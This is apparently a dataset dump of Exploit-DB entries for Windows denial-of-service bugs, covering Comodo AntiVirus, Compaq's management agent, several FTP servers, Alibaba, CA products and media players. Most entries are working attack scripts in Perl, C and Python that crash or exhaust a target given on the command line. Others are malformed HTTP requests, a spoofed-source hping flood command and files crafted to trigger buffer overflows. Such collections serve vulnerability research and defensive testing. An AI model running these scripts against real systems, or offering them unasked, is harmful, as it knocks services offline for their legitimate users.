deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39606
Description: Comodo AntiVirus - Heap Overflow in LZX Decompression
Type: dos
Platform: windows
Date: 2016-03-23
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=737

Lzx_Decoder::init() initializes the vector Lzx_Decoder->window to a fixed size of 2^method bytes, which is then used during Lzx_Decoder::Extract(). It's possible for LZX compressed streams to exceed this size. Writes to the window buffer are bounds checked, but only after the write is completed.

The code is probably something like:

window[++window_pos] = foo;
if (window_pos > window.size())
 return false;

This means the overflow still occurs, resulting in memory corruption, and can be corrupted multiple times per stream as a single scan can contain multiple LZX compressed blobs. Scanning the attached testcase with page heap enabled results in the following error:

(918.644): Unknown exception - code 000006ba (first chance)
===========================================================
VERIFIER STOP[PII_REDACTED]00000F: pid 0x918: corrupted suffix pattern 

[PII_REDACTED]C71000 : Heap handle
[PII_REDACTED]F76FE0 : Heap block
	[PII_REDACTED] : Block size
[PII_REDACTED]F86FF8 : corruption address
===========================================================
> lmv munarch
start             end                 module name
000007fe`f44c0000 000007fe`f4562000   unarch     (export symbols)       C:\Program Files\COMODO\COMODO Internet Security\scanners\unarch.cav
    Loaded symbol image file: C:\Program Files\COMODO\COMODO Internet Security\scanners\unarch.cav
    Image path: C:\Program Files\COMODO\COMODO Internet Security\scanners\unarch.cav
    Image name: unarch.cav
    Timestamp:        Mon Dec 29 04:52:14 2014 (54A14E7E)
    CheckSum:         000AC529
    ImageSize:        000A2000
    File version:     6.2.15068.1057
    Product version:  6.2.15068.1057
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        1.0 App
    File date:        00[PII_REDACTED]0000
    Translations:     0409.04e4
    CompanyName:      COMODO
    ProductName:      COMODO Antivirus Scan Engine
    ProductVersion:   6, 2, 342748, 1057
    FileVersion:      6, 2, 342748, 1057
    FileDescription:  COMODO Antivirus Scan Engine
    LegalCopyright:   2005-2014 COMODO. All rights reserved.


Please note that many of the CAV modules used by Comodo do not use dynamic base, so ASLR does not work. Naturally, all files are scanned with NT AUTHORITY\SYSTEM and with no sandboxing.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39606.zip
Exploit-DB #22823
Description: Compaq Web-Based Management Agent - Access Violation Denial of Service
Type: dos
Platform: windows
Date: 2003-06-23
Author: Ian Vitek

Exploit:
source: https://www.securityfocus.com/bid/8015/info

Compaq Web-Based Management Agent has been reported prone to a remote denial of service vulnerability when handling malformed GET requests. The resulting error reports an access violation, effectively causing the service to crash. A remote attacker could exploit this issue to deny agent services to legitimate users.

GET /<!.FunctionContentType=(About 250 AAAAA:s)> HTTP/1.0
Exploit-DB #22822
Description: Compaq Web-Based Management Agent - Remote Stack Overflow Denial of Service
Type: dos
Platform: windows
Date: 2003-06-23
Author: Ian Vitek

Exploit:
source: https://www.securityfocus.com/bid/8014/info

Compaq Web-Based Management Agent has been reported prone to a remote denial of service vulnerability. The problem occurs when making malformed requests to the service. The resulting error reports a stack overflow, however it has not been confirmed whether this issue is exploitable to corrupt memory. The problem may in fact be the result of a NULL pointer dereference.

http://www.example.com:2301/survey/<!>
http://www.example.com:2301/<!.StringRedirecturl>
http://www.example.com:2301/<!.StringHttpRequest=Url>
http://www.example.com:2301/survey/<!.StringHttpRequest=Url>
http://www.example.com:2301/<!.ObjectIsapiECB>
http://www.example.com:2301/<!.StringIsapiECB=lpszPathInfo>
Exploit-DB #12110
Description: CompleteFTP 3.3.0 - Remote Memory Consumption Denial of Service
Type: dos
Platform: windows
Date: 2010-04-08
Author: Jonathan Salwan

Exploit:
#!/usr/bin/perl
#
# Title:   CompleteFTP v3.3.0 - Remote Memory Consumption DoS
# Author:  Jonathan Salwan <submit(!)shell-storm.org>
# Web:     http://www.shell-storm.org
# 
# ~60 sec for satured ~2Go RAM
#

use IO::Socket;

print "\n[x]CompleteFTP v3.3.0 - Remote Memory Consumption DoS\n";

	if (@ARGV < 1)
		{
 		print "[-] Usage: <file.pl> <host> <port>\n";
 		print "[-] Exemple: file.pl 127.0.0.1 21\n\n";
 		exit;
		}

	$ip 	= $ARGV[0];
	$port 	= $ARGV[1];
	$login 	= "USER anonymous\r\n";
	$pwd 	= "PASS anonymous\r\n";

	$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Connecting: Failed!\n";

	print "Please Wait...\n";

	while(){
		$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port");
		$socket->recv($answer,2048);
		$socket->send($login);
		$socket->send($pwd);
		}
Exploit-DB #31707
Description: Computer Associates ARCserve Backup Discovery Service Remote - Denial of Service
Type: dos
Platform: windows
Date: 2008-04-24
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/28927/info

Computer Associates ARCserve Backup is affected by a denial-of-service vulnerability because the application mishandles malformed user-supplied input.

A remote attacker may exploit this issue to cause denial-of-service conditions.

CA ARCserve Backup 12.0.5454.0 is affected by this issue; other versions may also be vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31707.zip
Exploit-DB #31696
Description: Computer Associates eTrust Secure Content Manager 8.0 - 'eCSqdmn' Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-04-22
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/28888/info

Computer Associates eTrust Secure Content Manager is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31696.zip
Exploit-DB #27101
Description: Computer Associates Unicenter 6.0 - Remote Control DM Primer Remote Denial of Service
Type: dos
Platform: windows
Date: 2006-01-17
Author: Karma

Exploit:
source: https://www.securityfocus.com/bid/16276/info

Computer Associates Unicenter Remote Control DM Primer is prone to a denial-of-service vulnerability.

Attackers may trigger a denial of service due to a hang. Note that an attacker may easily source IP addresses because the service uses UDP. 

Proof of concept:

hping -2 -s 1025 -p 5727 -d 4097 -a 1.1.1.1
Exploit-DB #20080
Description: Computer Software Manufaktur Alibaba 2.0 - Denial of Service
Type: dos
Platform: windows
Date: 2000-07-18
Author: wildcoyote

Exploit:
// source: https://www.securityfocus.com/bid/1482/info

It is possible for a user to initiate a denial of service against Alibaba Web Server. Sending an unusually long GET request (> 8000 bytes) to the server will cause the service to stop responding. A restart of the server service is required in order to gain normal functionality.

/*

 Description: DoS against Alibaba 2.0 WebServer by wildcoyote
 Comments   : Based on advisorie by Prizm<Prizm@RESENTMENT.org>
 Platforms  : Alibaba runs on Win95/98/NT
 Flamez to  : wildcoyote@coders-pt.org

*/

#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

int 
openhost(char *host,int port) {
   int sock;
   struct sockaddr_in addr;
   struct hostent *he;
      
   he=gethostbyname(host);
   
   if (he==NULL) {
      perror("gethostbyname()");
      exit(-1); }
   
   sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
    
   if (sock==-1) {
      perror("socket()");
      exit(-1); }
    
   memcpy(&addr.sin_addr, he->h_addr, he->h_length);
   addr.sin_family=AF_INET;
   addr.sin_port=htons(port);

   if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
      sock=-2; } 
    
   return sock;
}

void 
sends(int sock,char *buf) {
  write(sock,buf,strlen(buf));
}

void 
DoS(char *host, int port)
{
 int sock,i;
 char *buf;
 printf("\nDoS against Alibaba 2.0 WebServer by wildcoyote\n\n");
 printf("Trying to connect to %s (%d)....(please wait)\n",host,port);
 sock=openhost(host,port);
 if(sock<=0) {
     printf("- Could not connect -\n");
     printf("Exiting...\n\n");
     exit(-1);
 }
 else printf("Connected to %s (%d)\n",host,port);
 printf("Allocating memory for DoS\n");
 buf = (char *) malloc(8200); // it takes 8173 bytes, but i wave mem ;)
 strcpy(buf,"GET ");
 for(i=5;i<8198;i++) strcat(buf,"A");
 strcat(buf,"\n\n");
 printf("Oh k! Sending CRASH!\n");
 sends(sock,buf);
 close(sock);
 free(buf);
 printf("Crash sent! The host *probably* crashed :P\n");
 printf("Send flamez to wildcoyote@coders-pt.org, *Enjoy*...\n\n");
}

main(int argc, char *argv[])
{
 int sock,i;
 if (argc<2) {
    printf("\nDoS against Alibaba 2.0 WebServer by wildcoyote\n\n");
    printf("Sintaxe: %s <host> [port - default 80]\n",argv[0]);
    printf("Send flamez to wildcoyote@coders-pt.org, *Enjoy*...\n\n");
 }
 else if (argc==2) DoS(argv[1],80);
      else DoS(argv[1],atoi(argv[2]));
}
Exploit-DB #19024
Description: ComSndFTP Server 1.3.7 Beta - Remote Format String Overflow
Type: dos
Platform: windows
Date: 2012-06-08
Author: demonalex

Exploit:
Title: ComSndFTP Server Remote Format String Overflow Vulnerability
Software : ComSndFTP FTP Server

Software Version : ComSndFTP 1.3.7 Beta

Vendor: http://ftp.comsnd.com/

Vulnerability Published : 2012-06-07

Vulnerability Update Time :

Status :

Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P)

Bug Description :
ComSndFTP Server is a free ftp server for windows.
It is possible for remote attackers to use USER command with any format string that will lead to a Denial Of Service flaw for the FTP service.

Proof Of Concept :
-----------------------------------------------------------
#!/usr/bin/perl -w
#ComSndFTP Server Remote Format String Overflow Exploit
#Written by demonalex (at) 163 (dot) com [email concealed]
use IO::Socket;
$|=1;
$host=shift || die "$0 \$host \$port\n";
$port=shift || die "$0 \$host \$port\n";
$evil = '%s%p%x%d';
print "Launch Attack ... ";
$sock1=IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>'tcp', Timeout=>30) || die "HOST $host PORT $port is down!\n";
if(defined($sock1)){
$sock1->recv($content, 100, 0);
sleep(2);
$sock1->send("USER ".$evil."\r\n", 0);
sleep(2);
$sock1->recv($content, 100, 0);
sleep(5);
$sock1->close;
}
print "Finish!\n";
exit(1);
-----------------------------------------------------------

Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / ChaoYi.Huang (at) connect.polyu (dot) hk [email concealed]
Pentester/Independent Researcher
Dark2S Security Team/HongKong PolyU
Exploit-DB #30252
Description: Conti FTP Server 1.0 - Large String Denial of Service
Type: dos
Platform: windows
Date: 2007-06-27
Author: 35c666

Exploit:
source: https://www.securityfocus.com/bid/24672/info

The Conti FTP Server is prone to a denial-of-service vulnerability.

A remote attacker may be able to exploit this issue to deny service to legitimate users of the application. 

#Conti FTP Server v1.0 Denial of Service
#author: 35c666
#contact: :(
#Download:
http://www.procesualitatea.ro/bestplay/Conti_FtpServer_Setup.exe
#Bug: Conti Ftp Server crashes when a large //A: string is sent,
denying legitimate users access to their accounts.
#greetz to all  RST members at http://rstzone.net

# usr/bin/python

import socket
import time

buff = "//A:"

user = "test"
password = "test"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
   conn = s.connect(("172.16.112.129",21))
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('USER %s\r\n' % user)
   print "Client -> USER " + user
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('PASS %s\r\n' % password)
   print "Client -> PASS " + password
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('LIST %s\r\n' % buff)
   print "Client -> LIST " + buff
   d = s.recv(1024)
   print d
   time.sleep(2)

except:
   print "- Nu m-am putut conecta."
Exploit-DB #46818
Description: Convert Video jetAudio 8.1.7 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-09
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: Convert Video jetAudio 8.1.7 - Denial of Service (PoC)
# Date: 08/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.jetaudio.com/
# Software Link http://www.jetaudio.com/download/5fc01426-741d-41b8-a120-d890330ec672/jetAudio/JAD8107_BASIC.exe
# Version: 8.1.7 
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "ConvertVideo.py", it will create a new file "ConvertVideo.txt"
# 2.- Copy the text from the generated ConvertVideo.txt file to clipboard
# 3.- Open JetVidCnv.exe or Video Converter
# 4.- Click on the 'Add Files...' button and select a video file
# 5.- Paste clipboard in in the field "File Naming"
# 6.- Click on the 'Preview' button
# 7.- Crashed

buffer = "\x41" * 512
f = open ("ConvertVideo.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #25007
Description: Convex 3D 0.8 - Buffer Overflow
Type: dos
Platform: windows
Date: 2004-12-16
Author: Ariel Berkman

Exploit:
source: https://www.securityfocus.com/bid/11995/info

It is reported that Convex 3D is susceptible to a stack-based buffer overflow vulnerability. This issue is due to a failure of the application to properly check the bounds of user-supplied image data prior to copying it into a fixed-size memory buffer.

This vulnerability allows remote attackers to alter the proper flow of execution of the application, potentially resulting in the execution of attacker-supplied machine code in the context of the application attempting to read a malicious file. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25007.zip
Exploit-DB #15263
Description: ConvexSoft DJ Audio Mixer - Denial of Service
Type: dos
Platform: windows
Date: 2010-10-16
Author: MOHAMED ABDI

Exploit:
#Exploit Title :ConvexSoft DJ Audio Mixer Denial of Service Vulnerability
#Software : ConvexSoft DJ Audio Mixer
#Software link : http://software-files-l.cnet.com/s/software/11/09/08/32/DJAudioSetup.exe?e=[PII_REDACTED]&h=dbc5a9e8f9e18318ea8bd54cf70dcfd7&lop=link&ptype=1901&ontid=18502&siteId=4&edId=3&spi=824ac8852d759d3ab5bd99d6b7dd702d&pid=11090832&psid=10788290&fileName=DJAudioSetup.exe
#Autor : ABDI MOHAMED
#Email : abdimohamed@hotmail.fr
#greetz: net_own3r , sadhacker , net-decrypt3r , xa7m3d , the commander , mr.fearfactor and all tunisian hackers
#Software version : n/a
#Tested on : Win7 Ultimate fr
#!/usr/bin/python
outfile="killer.mp3"
junk="\x41" * 105230
FILE=open(outfile, "w")
FILE.write(junk)
FILE.close()
print "[+] File created succesufully , [+]"
Exploit-DB #24463
Description: Cool PDF Reader 3.0.2.256 - Buffer Overflow
Type: dos
Platform: windows
Date: 2013-02-07
Author: Chris Gabriel

Exploit:
# Exploit Title: Cool PDF Reader 3.0.2.256 buffer overflow
# Vulnerability Disclosed to US-CERT by Chris Gabriel: 11-20-2012
# Emailed vendor: 12-4-2012
# Francis Provencher discovered vulnerability and reported to Secunia: 12-19-2012
# Vulnerability Discovery: Francis Provencher (Protek Research Lab's) @ProtekResearch
# Vulnerability Discovery: Chris Gabriel
# Exploit Author: Chris Gabriel
# Vendor Homepage: http://www.pdf2exe.com/reader.html
# Version: CoolPDF 3.0.2.256 
# Tested on: Windows XP SP3
# CVE: CVE-2012-4914
# Reference: http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=70&Itemid=70
# Reference: http://secunia.com/advisories/51602

PoC:  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24463.py
Exploit-DB #1212
Description: COOL! Remote Control 1.12 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2005-09-11
Author: basher13

Exploit:
#!usr/bin/perl
#
#      COOL! Command Execution DOS Exploit
# --------------------------------------------
#      Infam0us Gr0up - Securiti Research
#
# Info: infamous.2hell.com
# Vendor URL: www.yaosoft.com
# 
# * If Remote Control(Client application) is running then already connected to server,
#   this command exploit will made Remote Control as Client disconnected from server machine.
#   But if the Remote Control is not currently connected to Remote Server,then
#   by send specified command to Remote Server its allow the server crashed/closed
#


$ARGC=@ARGV;
if ($ARGC !=1) {
    print "Usage: $0 [host]\n";
    print "Exam: $0 127.0.0.1\n";
    print "\n";
    exit;
}
use Socket;

my($remote,$port,$iaddr,$paddr,$proto);
$remote=$ARGV[0];
$popy = "\x31\x31\x39\x38\x30"; 

print "\n[+] Connect to host..\n";
$iaddr = inet_aton($remote) or die "[-] Error: $!";
$paddr = sockaddr_in($popy, $iaddr) or die "[-] Error: $!";
$proto = getprotobyname('tcp') or die "[-] Error: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "[-] Error: $!";
connect(SOCK, $paddr) or die "[-] Error: $!";

print "[+] Connected\n";
print "[+] Send invalid command..\n";

$empty = 
"\x49\x4e\x46\x41\x4d\x4f\x55\x531".
"\x47\x52\x4f\x55\x50";

send(SOCK, $empty, 0) or die "[-] Cannot send query: $!";
sleep(2);
print "[+] DONE\n";
print "[+] Check if server crash!\n";
close(SOCK);
exit;

# milw0rm.com [2005-09-11]
Exploit-DB #8489
Description: CoolPlayer Portable 2.19.1 - '.m3u' Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-04-20
Author: GoLd_M

Exploit:
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ##  ##
# #  CoolPlayerp Portable 2.19.1 (.M3U File) Local Stack Overflow POC   # #
# ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ## ### ## ## ## ## 
my $chars= "A" x 4104;
my $file="goldm.m3u";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file has been created \n";
print "Thanx Tryag.Com";

# milw0rm.com [2009-04-20]
Exploit-DB #21162
Description: Cooolsoft PowerFTP Server 2.0 3/2.10 - Multiple Denial of Service Vulnerabilities (1)
Type: dos
Platform: windows
Date: 2001-11-29
Author: Alex Hernandez

Exploit:
source: https://www.securityfocus.com/bid/3595/info


PowerFTP is a commercial FTP server for Microsoft Windows 9x/ME/NT/2000/XP operating systems. It is maintained by Cooolsoft.

Multiple instances of denial of service vulnerabilities exist in PowerFTP's FTP daemon. This is achieved by connecting to a vulnerable host and submitting an unusally long string of arbitrary characters.

It has been reported that this issue may also be triggered by issuing an excessively long FTP command of 2050 bytes or more.

This issue may is most likely due to a buffer overflow. If this is the case, there is a possibility that arbitrary code may be executed on the vulnerable host. However, this has not yet been confirmed. 

#!/usr/bin/perl
# Simple script to send a long 'A^s' command to the server, 
# resulting in the ftpd crashing
#
# PowerFTP Server v2.03 proof-of-concept exploit
# By Alex Hernandez <al3x.hernandez@ureach.com> (C)2001.
#
# Thanks all the people from Spain and Argentina.
# Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins, 
# G.Maggiotti & H.Oliveira.
# 
#
# Usage: perl -x PowerFTP_Dos.pl -s <server>
#
# Example: 
#
# perl -x PowerFTP_Dos.pl -s 10.0.0.1
# 220 Personal FTP Server ready
# Crash was successful !
#

use Getopt::Std;
use IO::Socket;

print("\nPowerFTP server v2.03 DoS exploit (c)2001\n");
print("Alex Hernandez al3xhernandez\@ureach.com\n\n");

getopts('s:', \%args);
if(!defined($args{s})){&usage;}
$serv = $args{s};
$foo = "A"; $number = 2048; 
$data .= $foo x $number; $EOL="\015\012";

$remote = IO::Socket::INET->new(
                    Proto => "tcp",
                    PeerAddr => $args{s},
                    PeerPort => "ftp(21)",
                ) || die("Unable to connect to ftp port at $args{s}\n");

$remote->autoflush(1);
print $remote "$data". $EOL;
while (<$remote>){ print }
print("\nCrash was successful !\n");


sub usage {die("\nUsage: $0 -s <server>\n\n");}
Exploit-DB #21163
Description: Cooolsoft PowerFTP Server 2.0 3/2.10 - Multiple Denial of Service Vulnerabilities (2)
Type: dos
Platform: windows
Date: 2001-11-29
Author: Alex Hernandez

Exploit:
source: https://www.securityfocus.com/bid/3595/info
 
 
PowerFTP is a commercial FTP server for Microsoft Windows 9x/ME/NT/2000/XP operating systems. It is maintained by Cooolsoft.
 
Multiple instances of denial of service vulnerabilities exist in PowerFTP's FTP daemon. This is achieved by connecting to a vulnerable host and submitting an unusally long string of arbitrary characters.
 
It has been reported that this issue may also be triggered by issuing an excessively long FTP command of 2050 bytes or more.
 
This issue may is most likely due to a buffer overflow. If this is the case, there is a possibility that arbitrary code may be executed on the vulnerable host. However, this has not yet been confirmed. 

#!/usr/bin/perl
#
# Even though the server will deny access, the slow hardware 
# will still hang the machine. This program attempts to 
# exploit this weakness by sending the 'NLST a:/' command to 
# the server 
#
# PowerFTP Server v2.03 proof-of-concept exploit
# By Alex Hernandez <al3x.hernandez@ureach.com> (C)2001.
#
# Thanks all the people from Spain and Argentina.
# Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins,
# G.Maggiotti & H.Oliveira.
# 
#
# Usage: perl -x PowerFTP_floppy.pl <server> <port> <user> <pass>
#
# Example: 
#
# perl -x PowerFTP_floppy.pl 10.0.0.1 21 temp temp
# 

use IO::Socket;

print("\nPowerFTP server v2.03 DoS exploit Floppy (c)2001\n");
print("Alex Hernandez al3xhernandez\@ureach.com\n\n");

#$NUMBER_TO_SEND = 3000; 
$BUFF = 3000; 

if ( scalar @ARGV < 4 ) {
    print "Usage: $0 <server> <port> <user> <pass>\n";
    exit();
}


$target = $ARGV[ 0 ];
$port = $ARGV[ 1 ];
$username = $ARGV[ 2 ];
$password = $ARGV[ 3 ];

print "Creating socket... ";
$sock = new IO::Socket::INET( PeerAddr => $target,
                              PeerPort => int( $port ), 
                                Proto => 'tcp' );
die "$!" unless $sock;
print "done.\n";


read( $sock, $buffer, 1 );


print "Sending username...";
print $sock "USER " . $username . "\n";
read( $sock, $buffer, 1 );
print "done.\n";


print "Sending password...";
print $sock "PASS " . $password . "\n";
read( $sock, $buffer, 1 );
print "done.\n";


print "DoS Attack floppy server...";
for( $i = 0; $i < $BUFF; $i++ ) {

    print $sock "NLST a:/\n";   
    read( $sock, $buffer, 1 );
}

print "done.\n";

close( $sock );
exit();